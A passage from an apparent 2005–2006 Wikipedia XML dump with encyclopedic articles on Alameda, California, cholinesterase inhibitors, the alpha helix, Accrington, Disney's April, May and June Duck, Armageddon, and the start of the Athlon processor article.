[[Image:CAMap-doton-Alameda.png|right|Location of Alameda, California]]Alameda is located at 37&amp;deg;45'50&quot; North, 122&amp;deg;15'25&quot; West (37.763971, -122.256810){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 59.5 [[square kilometre|km&amp;sup2;]] (23.0 [[square mile|mi&amp;sup2;]]).  28.0 km&amp;sup2; (10.8 mi&amp;sup2;) of it is land and 31.5 km&amp;sup2; (12.2 mi&amp;sup2;) of it is water.  The total area is 52.98% water.

== Demographics ==
As of the [[census]]{{GR|2}} of 2000, there are 72,259 people, 30,226 households, and 17,863 families residing in the city.  The [[population density]] is 2,583.3/km&amp;sup2; (6,693.4/mi&amp;sup2;).  There are 31,644 housing units at an average density of 1,131.3/km&amp;sup2; (2,931.2/mi&amp;sup2;).  The racial makeup of the city is 56.95% [[Race (U.S. census)|White]], 6.21% [[Race (U.S. census)|Black]] or [[Race (U.S. census)|African American]], 0.67% [[Race (U.S. census)|Native American]], 26.15% [[Race (U.S. census)|Asian]], 0.60% [[Race (U.S. census)|Pacific Islander]], 3.29% from [[race (U.S. census)|other races]], and 6.13% from two or more races.  9.31% of the population are [[Race (U.S. census)|Hispanic]] or [[Race (U.S. census)|Latino]] of any race.

There are 30,226 households out of which 27.7% have children under the age of 18 living with them, 43.7% are [[Marriage|married couples]] living together, 11.4% have a female householder with no husband present, and 40.9% are non-families. 32.2% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older.  The average household size is 2.35 and the average family size is 3.04.

In the city the population is spread out with 21.5% under the age of 18, 7.0% from 18 to 24, 33.6% from 25 to 44, 24.6% from 45 to 64, and 13.3% who are 65 years of age or older.  The median age is 38 years.  For every 100 females there are 92.3 males.  For every 100 females age 18 and over, there are 89.5 males.

The median income for a household in the city is $56,285, and the median income for a family is $68,625. Males have a median income of $49,174 versus $40,165 for females. The [[per capita income]] for the city is $30,982.  8.2% of the population and 6.0% of families are below the [[poverty line]].  Out of the total population, 11.4% of those under the age of 18 and 6.1% of those 65 and older are living below the poverty line.

== Transportation ==

Vehicle access to the island is via three bridges to Oakland, a bridge to Bay Farm Island, and two one-way tunnels leading into Oakland's Chinatown.  Bridges at Fruitvale Avenue, High Street, and Park Street, and the tunnels at Webster Street and Harrison Street (the latter called the &quot;Posey tube&quot;) connect Alameda and Oakland. Public transportation includes the [[AC Transit]] buses (which include express buses to [[San Francisco, California|San Francisco]]) and two ferry services--the [[Alameda-Oakland Ferry]] and the [[Harbor Bay Ferry]].  The island is also close to the [[BART]] train service.

Even though the island is just minutes off [[Interstate 880]], the speed limit for the city is 25 mph (40 km/h) on almost every road.  Many unaware drivers fail to slow down after exiting the highway.  Groups like Pedestrian Friendly Alameda and BikeAlameda advocate stronger enforcement of speeding laws.

== Attractions ==

Due to its proximity to the Bay, [[windsurfing|wind surfer]]s and [[kite surfing|kite surfer]]s can often be seen along Crown Memorial State Beach and Shoreline Drive. From the beach there are also have views of the [[San Francisco, California|San Francisco]] skyline and the [[San Francisco-Oakland Bay Bridge]].

One of the recent attractions is the [[aircraft carrier]] [[USS Hornet (CV-12)|USS ''Hornet'']], a [[museum ship]] now moored at the former [[Naval Air Station Alameda|Naval Air Station]]. 

== Economic development ==
[[Image:Afl_new.jpg|frame|The New Alameda Free Library]][[Image:Alameda_Theater.jpg|frame|The Alameda Theater as of February 2006]] The Naval Air Station Alameda was decomissioned and is in process of being turned over to the City of Alameda for civilian development. The area of the former NAS is now known as &quot;Alameda Point&quot;. Portions of Alameda Point are now in commercial use, but the transfer process has been slowed down by disputes between the Navy and the City regarding payment for environmental cleanup of the land.  Development of the base is also opposed by a vocal minority in the City who object to modifications to a ballot measure passed in the 1970's that intended to stop a practice then popular in the City of tearing down the island's beautiful, historical Victorian homes and replacing them with apartment complexes.

After two previous failures, voters in the City passed a ballot measure in [[2000]] authorizing a bond measure for construction of a new library to replace the city's [[Carnegie library]] that was damaged during the [[Loma Prieta earthquake]].  The City also received state funds for the new library and it is currently under construction near the City's Park Street business district and will open in the fall of 2006.  

City officials continue to seek ways to spur economic development on the Island including the reconstruction of the City's shopping mall and restoration of the historic art deco city landmark Alameda Theater.  The theater restoration project is currently the subject of much controversy in the City, pitting the City's pro-development and anti-development factions against each other once again.

==Alameda Power and Telecom==
Unlike surrounding communities, Alameda has a municipal power and telecommunications service (Alameda Power and Telecom) that delivers services directly to consumers. The telecommunications service has the potential of far exceeding the capabilities of the various cable and DSL providers in the larger region.

There have been proposals by the power producer to produce energy from waste, but not within the city of Alameda. Instead this energy would be produced at a waste transfer station located  in neighboring (and downwind) [[San Leandro, California|San Leandro]]. Owing to the expected release of toxic emissions from what is essentially a [[Waste|garbage]] [[incinerator]], the mayor and city council of San Leandro rejected the proposal. The mayor vowed to fight this proposal, suggesting that Alameda could instead place this near their municipal golf course.

Also, unlike the three major power producers in California, Alameda is not required to establish [[net metering]] for home [[photovoltaic]] power producers, so the city currently lags far behind other communities in producing truly &quot;green&quot; energy, even though they have a potentially productive site for supplemental wind energy on the western edge of the former naval air station.

==Arts and Culture==

The [[Alameda Arts Council]] (AAC) is the Alameda City [[arts council]] serving the arts in the Alameda area.

===&quot;Art In the Park&quot;===
[[Art In the Park]] is an annual event that takes place in [[Jackson Park]] (Encinal and Park Ave) which the [[Alameda Arts Council]] co-produces with [[Alameda Recreation &amp; Parks]]. This event is held each September and features over 100 local artists, two music areas, a children's activity area, food, poetry readings and art demonstrations. This event is free to the public.

===&quot;Shining Stars In The Arts&quot;===
[[Shining Stars In The Arts]] is an evening event that celebrates the community members in Alameda who have made an outstanding contribution in the Arts in the city. Features a fundraising silent art auction, food and music concludes in an award ceremony for the Shining Star Honorees. Held in May.

== Miscellaneous ==
* The Posey tube was used, with other Bay Area tunnels, in the filming of the 1970 version of [[THX-1138]].

* One of Alameda's most famous residents is [[Jimmy Doolittle|General James Doolittle]], who won the medal of honor for his bombing of Japan during WWII. 

* Alameda is also the hometown of baseball greats [[Willie Stargell]], [[Jimmy Rollins]] and [[Dontrelle Willis]].  

* Because of its active naval base, many people in naval families, such as [[Tom Hanks]] and [[Jim Morrison]], lived in Alameda briefly during their lives.  

* [[Don Perata]], the current President Pro Tempore of the California State Senate, lives in Alameda. 

== See also ==
* [[Islands of San Francisco Bay]]

== External links ==
* [http://www.ci.alameda.ca.us/ City of Alameda official web page]
* [http://www.ci.alameda.ca.us/arpd Alameda Recreation and Parks]
* [http://www.alamedapt.com Alameda Power and Telecom]
* [http://www.alamedapt.com/twp/ Together We Prepare - A Disaster Resistant Alameda]
* [http://www.hornetboosters.org Alameda High School Sports]
* [http://encinalsports.olinesports.com/ Encinal High School Sports]
* [http://www.alamedababeruth.com Alameda Babe Ruth League Info]
* [http://www.alamedainfo.com Alameda Info]
* [http://www.alamedachamber.com Alameda Chamber of Commerce]
* [http://www.alamedachurch.com/ First Presbyterian Church of Alameda]
* [http://www.bikealameda.org/ BikeAlameda web site]
* [http://www.bayfarmchurch.org/ Bayfarm Community Church]
* [http://www.crosstowncoffee.org/ Non-Profit Community Centered Coffeehouse]
* [http://www.harborbay.com/ Harbor Bay Business Park Association web page]
* [http://www.pedfriendly.org/ Pedestrian Friendly Alameda web site]
* [http://www.uss-hornet.org/ USS Hornet Museum web site]
* [http://www.tuckersicecream.com Tucker's Ice Cream - since 1941]
* [http://www.aclo.com Alameda Civic Light Opera]
* [http://alamedawireless.org/ AlamedaWireless - free wireless network]
* [http://www.templeisraelalameda.org/ Temple Israel, a Jewish community and synagogue in Alameda]
* [http://www.shopparkstreet.com/ Park Street businesses]
{{Mapit-US-cityscale|37.763971|-122.25681}}

{{Cities of Alameda County, California}}

[[Category:Alameda, California|*]]
[[Category:Alameda County, California]]
[[Category:Cities in California]]
[[Category:Islands of San Francisco Bay]]
[[Category:San Francisco Bay Area]]


[[bg:Аламида (град)]]
[[de:Alameda (Kalifornien)]]
[[fr:Alameda (Californie)]]
[[no:Alameda, California]]</text>
    </revision>
  </page>
  <page>
    <title>Cholinesterase inhibitor</title>
    <id>3053</id>
    <revision>
      <id>30768458</id>
      <timestamp>2005-12-09T23:39:00Z</timestamp>
      <contributor>
        <username>ClockworkSoul</username>
        <id>137964</id>
      </contributor>
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages maintenance|You can help!]])</comment>
      <text xml:space="preserve">A '''cholinesterase inhibitor''' or '''anticholinesterase''' is a [[chemical compound|chemical]] that inhibits a [[cholinesterase]] [[enzyme]] from breaking down [[acetylcholine]], so increasing both the level and duration of action of the [[neurotransmitter]] acetylcholine.

Anticholinesterases occur naturally as [[venom (poison)|venoms]] and [[poison]]s, are used as weapons in the form of [[nerve agent]]s, and are used medicinally to treat diseases such as [[myasthenia gravis]] and [[Alzheimer's disease]], and as an antidote to [[anticholinergic]] poisoning. In myasthenia gravis, they are used to increase neuromuscular transmission.

Compounds which function as [[reversible inhibitor|reversible]] [[competitive inhibitor|competitive]] or [[noncompetitive inhibitor]]s of cholinesterase are those most likely to have therapeutic uses. These include:
*[[Organophosphate]]s
**[[metrifonate]]
*[[Carbamate]]s
**[[physostigmine]]
**[[neostigmine]]
**[[pyridostigmine]]
**[[ambenonium]]
**[[demarcarium]]
**[[rivastigmine]]
*[[Phenanthrine]] derivatives
**[[galantamine]]
*[[Piperidine]]s
**[[donepezil]], also known as ''E2020''
*[[Tacrine]], also known as tetrahydroaminoacridine (THA')
*[[Edrophonium]]

Compounds which function as [[quasi-irreversible inhibitor]]s of cholinesterase are those most likely to have use as [[chemical weapon]]s or [[pesticide]]s. These include:
*[[Organophosphate]]s
**[[echothiophate]]
**[[isoflurophate]]
**[[diisopropyl fluorophosphate]]
**[[cyclosarin]]
**[[sarin]]
**[[soman]]
**[[tabun (nerve gas)|tabun]]
**[[VX]]
**[[VE (nerve agent)|VE]]
**[[VG (nerve agent)|VG]]
**[[VM (nerve agent)|VM]]
**[[diazinon]]
**[[malathion]]
**[[parathion]]
*[[Carbamate]]s
**[[aldicarb]]
**[[bendiocarb]]
**[[bufencarb]]
**[[carbaryl]]
**[[carbendazim]]
**[[carbetamide]]
**[[carbofuran]]
**[[chlorbufam]]
**[[chloropropham]]
**[[ethiofencarb]]
**[[formetanate]]
**[[methiocarb]]
**[[methomyl]]
**[[oxamyl]]
**[[phenmedipham]]
**[[pinmicarb]]
**[[pirimicarb]]
**[[propamocarb]]
**[[propham]]
**[[propoxur]]

Some major effects of anticholinesterase:

Actions on the autonomic nervous system, that is parasympathetic nervous system will cause bradycardia, hypotension, hypersecretion, bronchoconstriction, GIT hypermotility, and decrease intraocular pressure.

Actions on the neuromuscular junction will result in prolonged muscle contraction.


== See also ==
* [[Pesticide poisoning]]

[[Category:Anticholinesterases|*]]</text>
    </revision>
  </page>
  <page>
    <title>Alpha helix</title>
    <id>3054</id>
    <revision>
      <id>40071011</id>
      <timestamp>2006-02-17T22:47:19Z</timestamp>
      <contributor>
        <ip>128.30.20.59</ip>
      </contributor>
      <comment>The article incorrectly stated that the &quot;amino group of amino acid (n) can establish a hydrogen bond with the carbonyl group of amino acid n+4.&quot;  The opposite is true (amino group is at position n+4)</comment>
      <text xml:space="preserve">[[Image:AlphaHelixProtein.jpg|right|thumb|150px|A diagram of the alpha helix structure of amino acids]]
In [[protein]]s, the '''&amp;alpha; helix''' is a major structural motif in [[secondary structure]]. It was first postulated by [[Linus Pauling]], [[Robert Corey]], and [[Herman Branson]] in [[1951]] based on the known [[crystallography|crystal structures]] of [[amino acid]]s and [[peptide]]s and Pauling's prediction of planar [[peptide bond]]s.  

The experimental work to provide the basic dimensions of the helix had been done by [[William Astbury]] on [[keratin]] using [[X-ray diffraction]] in 1937.  However the correct interpretation of the data was difficult and Pauling puzzled over it for years.  It was not until January 1948, while in [[Oxford]], that Pauling caught a cold and went to bed.  After a while he became bored and drew the chain on a strip of paper and folded it into a helix. After a few attempts at folding, he eventually produced the model which had the hydrogen bonds in the correct places. Pauling then worked with Corey and Branson to confirm his idea before publication.

The amino acids in an &amp;alpha; helix are arranged in a [[helix|helical]] structure, 5.4 [[Angstrom]]s or .54 nano[[metre]]s wide. Each amino acid results in a 100° turn in the helix, and corresponds to a translation of 0.15 nanometres along the helical axis. The helix is tightly packed; there is almost no free space within the helix. All amino acid side-chains are arranged at the outside of the helix. The [[amine|N-H]] group of amino acid (n+4) can establish a [[hydrogen bond]] with the [[carbonyl|C=O]] group of amino acid (n).

Short [[polypeptide]]s usually are not able to adopt the alpha helical structure, since the [[entropy|entropic]] cost associated with the folding of the polypeptide chain is too high. Some amino acids (called ''helix breakers'') like [[proline]] and [[glycine]] will disrupt the helical structure. 

Ordinarily, a helix has an overall [[dipole moment]] caused by the aggregate effect of all the individual dipoles from the [[carbonyl]] groups of the peptide bond pointing along the helix axis. This can lead to destabilization of the helix through entropic effects. As a result, &amp;alpha; helices are often capped at the N-terminal end by a negatively charged [[amino acid]] (like [[glutamic acid]]) in order to neutralize this helix dipole. Less common (and less effective) is C-terminal capping with a positively charged amino acid like [[lysine]].

&amp;alpha; helices have particular significance in [[DNA]] binding motifs, including [[helix-turn-helix]] motifs, [[leucine zipper]] motifs and [[zinc finger]] motifs. This is because of a structural coincidence: The diameter of the &amp;alpha; helix is 1.2 nano[[metre]]s, the same as the width of the major groove in B-form [[DNA]].

&amp;alpha; helices are one of the basic structural elements in proteins, together with [[beta sheet]]s.

The peptide backbone of an &amp;alpha; helix has 3.6 amino acids per turn.

==See also==
*[[tertiary structure]] 
*[[beta sheet|&amp;beta; sheet]] 
*[[collagen helix]]

== References ==

* David Eisenberg, &quot;The discovery of the &amp;alpha;-helix and &amp;beta;-sheet, the principal structural features of proteins&quot;. ''[[Proceedings of the National Academy of Sciences]]'' USA. (2003). '''100''':11207-11210. http://www.pnas.org/cgi/content/full/100/20/11207

== External links ==
* [http://www2.ufp.pt/~pedros/anim/2frame_helixen.htm Interactive model of an &amp;alpha;-helix]

[[Category:Protein structural motifs]]

[[de:Alpha-Helix]]
[[eo:Alfa-helico]]
[[es:Hélice alfa]]
[[nl:Alfa-helix]]
[[ja:&amp;#913;&amp;#12408;&amp;#12522;&amp;#12483;&amp;#12463;&amp;#12473;]]
[[pl:Helisa alfa]]
[[sv:Alfahelix]]</text>
    </revision>
  </page>
  <page>
    <title>Accrington</title>
    <id>3055</id>
    <revision>
      <id>41739639</id>
      <timestamp>2006-03-01T11:50:12Z</timestamp>
      <contributor>
        <username>Dunc1971</username>
        <id>1005483</id>
      </contributor>
      <comment>/* The Accrington Pals */</comment>
      <text xml:space="preserve">{{GBmap|Accrington - Lancashire|SD7528}}
[[image:arms-accrington.jpg|thumb|right|200px|Arms of Accrington Borough Council]]
'''Accrington''', in the County of [[Lancashire]], is a small former [[mill]] town in the industrial north-west of [[England]]. Its name is thought to be a corruption of 'acorn-ring-town', although the old oak woods that once encircled the town have long-since gone, victims of the [[Industrial Revolution]]. Since the redrawing of the political boundaries in [[1974]], the town has formed part of the Borough of [[Hyndburn]] &amp;mdash; a merging of Accrington together with the smaller 'satellite' towns of [[Oswaldtwistle]], [[Church (Lancashire)|Church]], [[Clayton-le-Moors]], [[Great Harwood]] and [[Rishton]], into one political 'seat'. 

The 2001 census gave the population of Accrington town proper as 35,203. The figure for the built-up area (&quot;Accrington Urban Area&quot;) was 71,224, up 1.1% from 70,442 in 1991. For comparison purposes that is approximately the same size as Aylesbury, Carlisle, Guildford or Scunthorpe urban areas.

The town is linked to [[Burnley]] and [[Blackburn]] by railway and by the [[M65 motorway|M65]] motorway. There was once a rail link south to [[Manchester]] via [[Haslingden]] and [[Bury]], but this was closed in the 1960s as part of cuts following the [[Beeching Report]]. The trackbed is now mostly covered by the A56 dual carriageway, which provides a link to the [[M66 motorway|M66]].

There is a sizeable shopping area and precinct in Accrington, with a selection of major chain stores such as [[Marks and Spencer]] and [[Boots the Chemist|Boots]]. 
 
For many decades, the textile industry was the central activity of the town. [[Mill]]s and [[dye]] works provided work for the inhabitants, but often in very difficult conditions. There was regular conflict with employers, most famously in the 1842 'Plug riots' where a general strike spread from town to town, as thousands of strikers walked over the hills from one town to another to persuade people to join the strike. The strike joined up with the chartist movement, but was not successful in its aims.

== Tiffany Glass ==

The Haworth Art Gallery in Accrington contains an outstanding  collection of Tiffany glassware presented to the town by Joseph Briggs, an Accrington man who had joined Tiffany’s in the late 19th century and eventually became art director and assistant manager. The Art Nouveau vases are considered to be the most important such group in Europe. One of the most striking items is a glass mosaic exhibition piece, designed by Briggs himself and entitled Sulphur Crested Cockatoos. 


== The Accrington Pals ==

One well-known association the town has is with the '[[Accrington Pals]]', the nickname given to the smallest home town [[battalion]] of volunteers formed to fight in [[World War I]]. The [[Pals battalion]]s were a peculiarity of the 1914-1918 war: [[Horatio Kitchener, 1st Earl Kitchener of Khartoum|Lord Kitchener]], the [[Secretary of State for War]], believed that it would help recruitment if friends and work-mates from the same town were able to join up and fight together. Strictly speaking, the 'Accrington Pals' battalion is properly known as the '11th East Lancashire Regiment': the nickname is a little misleading, since of the four 250-strong companies that made up the original battalion only one was actually composed of men from Accrington. The rest volunteered from other East Lancs towns such as [[Burnley]], [[Blackburn]], and [[Chorley]]. 

The Pals' first day of combat, Saturday 1st July 1916, took place in Serre in the north of [[France]]. It was part of the 'Big Push' (later known as the [[Battle of the Somme (1916)|Battle of the Somme]]) that was intended to force the German army into a retreat from the [[Western front|Western Front]], a line they had held since late 1914. The German defences in Serre were supposed to have been obliterated by sustained, heavy, British shelling during the preceding week; however, as the battalion advanced it met with fierce resistance. 235 men were killed, and a further 350 wounded &amp;mdash; more than half of the battalion &amp;mdash; within half an hour. Similarly desperate losses were suffered elsewhere on the front, in a disastrous day for the British army. 

Later in the year, the East Lancs Regiment was rebuilt with new volunteers &amp;mdash; in all, 865 Accrington men were killed during World War I. All of these names are recorded on a war memorial, an imposing white stone cenotaph, which stands in Oak Hill Park in the south of the town. The [[cenotaph]] also lists the names of 173 local fatalities from [[World War II]]. 

=== Reference ===

William Turner ''Pals: the 11th (Service) Battalion (Accrington), East Lancashire Regiment'' ISBN 0950789240

=== See also ===

[[Recruitment to the British army during WW I]]

== Accrington's football teams ==

The town's other famous association is with [[Accrington Stanley F.C.]], the butt of many (largely affectionate) jokes. The team's name is often invoked as a symbol of British sport's legion of plucky but hopeless causes (much like British ski-jumping's 'heroic failure' [[Eddie 'the Eagle' Edwards]]). The club entered the [[The Football League|Football League]] in 1921 with the formation of the old Third Division (North); after haunting the lower reaches of English football for forty years, they eventually went into enforced liquidation and were ignominiously ejected from the League in 1962. The club was reformed in 1968 and currently plays in the 'non-league' [[Nationwide Conference]] divisions.

An earlier club, [[Accrington F.C.]], were one of the twelve founder members of the Football League in 1888. However, their time in league football was even less successful, and considerably briefer, than that of Accrington Stanley: they dropped out of the league in 1893, and folded shortly afterwards due to financial problems. The town of Accrington thus has the unique 'distinction' of having lost two separate clubs from league football, over the years.

== Famous sons and daughters ==

Accrington's famous sons and daughters include: [[Jon Anderson]] of rock band [[Yes (band)|Yes]]; author [[Jeanette Winterson]], whose ''[[Oranges Are Not the Only Fruit]]'' is an account of her childhood in the town; and composer [[Harrison Birtwistle]].

[[David Jones]] of the [[Monkees]] music group was also a native.

Famous ex-residents include darts player Ronny Baxter and the National Lottery's [[Mystic Meg]]!

== Geography ==

Accrington is located at {{coor dms|53|46|00|N|02|21|00|W|}} (53.7667, -2.3500)[[World_gazetteer|&lt;sup&gt;1&lt;/sup&gt;]].

[[Category:Towns in Lancashire]]

[[da:Accrington]]
[[eo:Accrington]]
[[pl:Accrington]]
[[simple:Accrington]]</text>
    </revision>
  </page>
  <page>
    <title>April, May, and June Duck</title>
    <id>3057</id>
    <revision>
      <id>31996439</id>
      <timestamp>2005-12-19T19:07:17Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|Assisted]] clean up Date links as MoS eg2005-&gt;2005. Not a bot. Like it? Say so at [[Wikipedia_talk:Bots#Bot_permission_please.3F|talk:Bots]]</comment>
      <text xml:space="preserve">[[Image:Aprilmayhune.gif|150px|right|April, May and June Duck]]'''April, May, and June Duck''' are a trio of [[Walt Disney]]'s [[comic book]] characters. They were created by [[Carl Barks]] and were first used in a story published in February [[1953]].

They are descendants of [[Pintail Duck (Disney character)|Pintail Duck]].  They were born in 1940 as the triplet daughters of [[Daisy Duck]]'s sister, who is presumably [[Donna Duck]]. They live in [[Duckburg]], [[Calisota]], along with their aunt and act as their cousins' [[Huey, Dewey and Louie]] Duck female counterparts, occasional rivals, occasional friends, and occasional dates. They are members of the organization [[The Junior Chickadees]], who serve as [[The Junior Woodchucks]]' female counterparts.

April, May, and June were not seen in animation until they were given a special cameo on the ''[[House of Mouse]]'' episode &quot;Ladies' Night&quot;.

The names were also used in a [[Three Stooges]] short for three sisters the protagonists end up marrying.

[[Category:Characters in the Scrooge McDuck universe|Duck, April, May and June]]

[[da:Kylle, Pylle og Rylle]]
[[it:Ely, Emy, Evy]]
[[nl:Lizzy, Juultje en Babetje]]
[[sv:Kicki, Pippi och Titti]]</text>
    </revision>
  </page>
  <page>
    <title>Armageddon</title>
    <id>3058</id>
    <revision>
      <id>41901764</id>
      <timestamp>2006-03-02T14:08:14Z</timestamp>
      <contributor>
        <username>Can't sleep, clown will eat me</username>
        <id>603177</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/62.84.228.7|62.84.228.7]] to last version by Codex Sinaiticus</comment>
      <text xml:space="preserve">{{Otheruses}}

{{Wiktionarypar|Armageddon}}

'''Armageddon''' refers generally to [[end times]] or giant catastrophes in various religions and cultures.  It may also refer to any great loss of life in battle or use of [[weapons of mass destruction]]. The word ''armageddon'' is derived from Mount [[Megiddo (place)|Megiddo]] (''Har Megido'' ''הר מגידו'' in Hebrew) , the site of the [[Battle of Megiddo]] and other battles. Some would argue the word is an early example of a [[mondegreen]].

The only mention of the word &quot;Armageddon&quot; in the Bible was in Revelation 16:16: &quot;And he gathered them together into a place called in the Hebrew tongue Armageddon&quot; (KJV).  The bible includes many passages that refer to the concept of Armageddon, however. But this specific [[bible prophecy]] reference is ambiguous as to whether any event actually takes place here or whether the gathering of armies is only to be seen as a sign. In fact, a gathering of the Roman army occurred at this place as a staging ground for one of their assaults on Jerusalem in AD 67.  This is consistent with the [[preterism|preterist]] interpretation that the events of Revelation 16:17-21 refer to events culminating in the destruction of Jerusalem in AD 70. However, one indication that the book predicts a future event is the mention of an army from the east of two hundred million, a number that would not have been likely in any battle of that period.

Before the [[Second World War]], the [[First World War]] was commonly referred to in newpapers and books as &quot;Armageddon&quot;, in addition to &quot;the Great War&quot;.

&lt;!--Armageddon does not seem to be part of the Catholic Church catechism. User:Alan Liefting --&gt;
==Jehovah's Witnesses==
Armageddon in the Jehovah's Witness religion is also anticipated, as the final battle between the forces of good and the forces of evil. The battle is a situation where the kings of the Earth unite against God's appointed king, Jesus. Thus, Revelation says it is the war of the great day of Jehovah Almighty. [[Jehovah's Witnesses]] believe that unlike what others teach, the Antichrist will not be in it. Satan himself will move the kingdoms of the world to wage war on God's chosen people. But then, the &quot;King of Kings and Lord of Lords&quot; because of his righteousness will defeat them for the glory of the Almighty God. (Revelation 17:12-14) It precipitates the establishment of God's Kingdom over the earth—a period commonly referred to as Millennium, when &quot;Satan is bound for a thousand years&quot; (See Rev. 20:1,2).

The [[Last Judgment|final judgement]] and purification of the Earth's sin occurs at the end of the [[Millennium]], when Satan is &quot;loosed for a little season&quot; and allowed to &quot;go out to deceive the nations... and gather them to battle&quot; against &quot;the camp of the saints and the beloved city&quot;. Satan loses the battle and is finally cast into the &quot;lake of fire and brimstone&quot; (or complete destruction, not hell). Those who join him will suffer - like Satan - eternal destruction.

The name Har-Magedon means literally &quot;Mountain of Megiddo&quot;; &quot;mountain of rendezvous&quot;; &quot;mountain of assembly of troops&quot; and there is no literal &quot;mountain of Megiddo&quot; anywhere in the Promised Land. Revelations says that &quot;expressions inspired by demons&quot; cause the kings of the entire inhabited Earth to gather together for the war of the great day of God the Almighty. (Revelations 16:14)

It is evident from this text that this war is not one of nation against nation with nuclear, biological or other weapons of mass destruction since it says that the kings of the Earth &quot;gather together&quot;. It is also evident that there is no way that the armies of the world can gather around the relatively small area that is Megiddo in modern day Israel.  Finally, Revelation 16:16 calls Har-Mageddon (Mountain of Megiddo) &quot;the place&quot; where these kings are gathered for this final showdown. Since the Mountain of Megiddo is not a literal place, it stands to reason that these words have a symbolic meaning.

Since the area around Megiddo was of strategic importance in Biblical times and decisive battles were fought there, it is proper to use Megiddo as the &quot;symbolic&quot; place of gathering of all the kings of the Earth where they will try to do battle against God and his forces. This action on the part of the kings of the Earth is provoked by expressions and signs inspired by demons.  Their collective action to persecute God's chosen on Earth is what finally triggers this war.

The reason for this persecution is clear from the words of the Apostle Peter in 1 Peter 3:4,5 where it says &quot; because you do not continue running with them (the nations - from verse 3)in this course of the same low sink of debauchery, they are puzzled and go on speaking abusively of you. But these people will render an account to the one ready to judge those living and those dead.&quot;

Jehovah's Witnesses stand apart from the world in that they do not participate in any of the many religous holidays celebrated around the world nor do they join the military forces of any nation on Earth. Their belief that only God's Kingdom can bring true peace and security on Earth instead of any human government or organization has already made them targets of persecution in many countries around the world.  It is their belief that this persecution will increase greatly in the coming years and will reach a point where all nations (inspired by the words of demons) will participate in a persecution unlike any ever seen. 

This prompts God to intervene directly against the kings of the Earth and it is at this time that they are &quot;gathered&quot; in this &quot;place&quot; for the final showdown, with devastating results.

It is then that the words of Daniel 2:44 come to pass. &quot;And in the days of those kings, the God of heaven will set up a kingdom that will never be brought to ruin. And the kingdom itself will not be passed on to any other people. It will crush and put end to all these kingdoms, and it itself will stand to time indefinite.&quot;

Chapter 38 of the book of Ezekiel has a prophecy in which a certain Gog from the land of Magog collects an army of many nations to attack God's people, believing them to be unprotected. God responds by causing them to fall one against another's sword; he strikes them with pestilence, floods, hailstones, fire and sulphur. The chapter ends with God declaring that the nations &quot;will have to know that I am Jehovah&quot;.

==Rastafari movement==
''Main article: [[Rastafari movement]]''

According to [[Rastafari movement|Rastafari]], it is [[Haile Selassie]] who appears in the Book of Revelation. Armageddon (or rather &quot;''Amagideon''&quot;) is a slightly different theological concept, meaning not so much a specific battle, but rather the general state the entire world is in now, and has been getting progressively deeper in since 1930, and especially since 1974.  However, Selassie's role in the [[Second Italo-Ethiopian War]] is in many ways seen as a fulfillment of some prophecies.

==Seventh-day Adventist==
[[Seventh-day Adventist Church|Seventh-day Adventists]] have a different interpretation — the final battle of Armageddon will take place after the thousand-year period mentioned in the book of Revelation, the period where those in Christ who have either died or lived through the Second Coming taking His name reigned with Him in Heaven.  According to this account, Christ and His saints (and the Heavenly kingdom they now reside in) will come down to Earth, shielded from the wicked.  Christ will raise the wicked dead, and both sides will engage in one final battle between good and evil.  Satan and his followers will attempt to overthrow Christ's followers, but will be overcome by the power of Christ.  Under His command, God destroys Satan and the wicked once and for all with an overwhelming fire.  The Earth will be burned, having been quenched of all evil, then, according to the final two chapters of Revelation, the Earth will then be made new and restored to its original state before sin entered into the world . . . Christ and His redeemed saints will be declared victorious.

==See also==
*[[Apocalypse]]
*[[Apocalyptic literature]]
*[[Bible prophecy]]
*[[Carmageddon]], a violent video game with cars.
*[[Eschatology]]
*[[End of the world (religion)]]
*[[End of civilization]]
*[[Armageddon (film)|Armageddon (movie)]]
*[[Battle of Megiddo|Battles of Megiddo]] (disambiguation)
*[[Megiddo]] (disambiguation)
*[[Megiddo (place)]]
*[[Armageddon (Warhammer 40,000)|Armageddon (Warhammer)]]
*[[Endtime Ministries]]
*[[Summary of Christian eschatological differences]]

[[Category:Christian eschatology]]
[[Category:Prophecy]]

[[de:Harmagedon]]
[[es:Armagedón]]
[[fi:Harmageddonin taistelu]]
[[fr:Armageddon]]
[[he:מגידו]]
[[ja:ハルマゲドン]]
[[pl:Armageddon (koniec świata)]]
[[pt:Armagedom]]
[[sv:Harmagedon]]
[[zh:哈米吉多頓]]</text>
    </revision>
  </page>
  <page>
    <title>AMD Athlon</title>
    <id>3059</id>
    <revision>
      <id>35804623</id>
      <timestamp>2006-01-19T12:00:03Z</timestamp>
      <contributor>
        <username>Bluemoose</username>
        <id>178836</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/ManiacK|ManiacK]] ([[User talk:ManiacK|talk]]) to last version by Conversion script</comment>
      <text xml:space="preserve">#REDIRECT [[Athlon]]</text>
    </revision>
  </page>
  <page>
    <title>Athlon</title>
    <id>3060</id>
    <revision>
      <id>41891006</id>
      <timestamp>2006-03-02T11:51:39Z</timestamp>
      <contributor>
        <username>Avonej</username>
        <id>685487</id>
      </contributor>
      <comment>Changed P4 link from &quot;Intel Pentium 4&quot; to &quot;Pentium 4&quot;</comment>
      <text xml:space="preserve">'''Athlon''' is the brand name applied to a series of different [[x86]] [[Central processing unit|processors]] designed and manufactured by [[AMD]]. The original Athlon, or ''Athlon Classic'', was the first seventh-generation x86 processor and, in a first, retained the initial performance lead it had over [[Intel]]'s competing processors for a significant period of time.  AMD has continued the Athlon name with the [[Athlon 64]], an eighth-generation processor featuring [[AMD64]] technology.

==Athlon Classic== 
The Athlon made its debut on [[June 23]], [[1999]]. The name &quot;Athlon&quot; was chosen by AMD as short for &quot;[[decathlon]]&quot;. The original Athlon core revision, code-named &quot;K7&quot; (in homage to its predecessor, the [[AMD K6|K6]]), was available in speeds of 500 to 700 [[Megahertz|MHz]] at its introduction and was later sold at speeds up to 1000 MHz (K75). The processor was compatible with the industry-standard x86 instruction set and plugged into a [[motherboard]] slot mechanically similar to (but not [[pin-compatibility|pin-compatible]] with) the Pentium II's [[Slot 1]].

[[Image:Slot-A Athlon.jpg|thumb|Slot-A Athlon]]
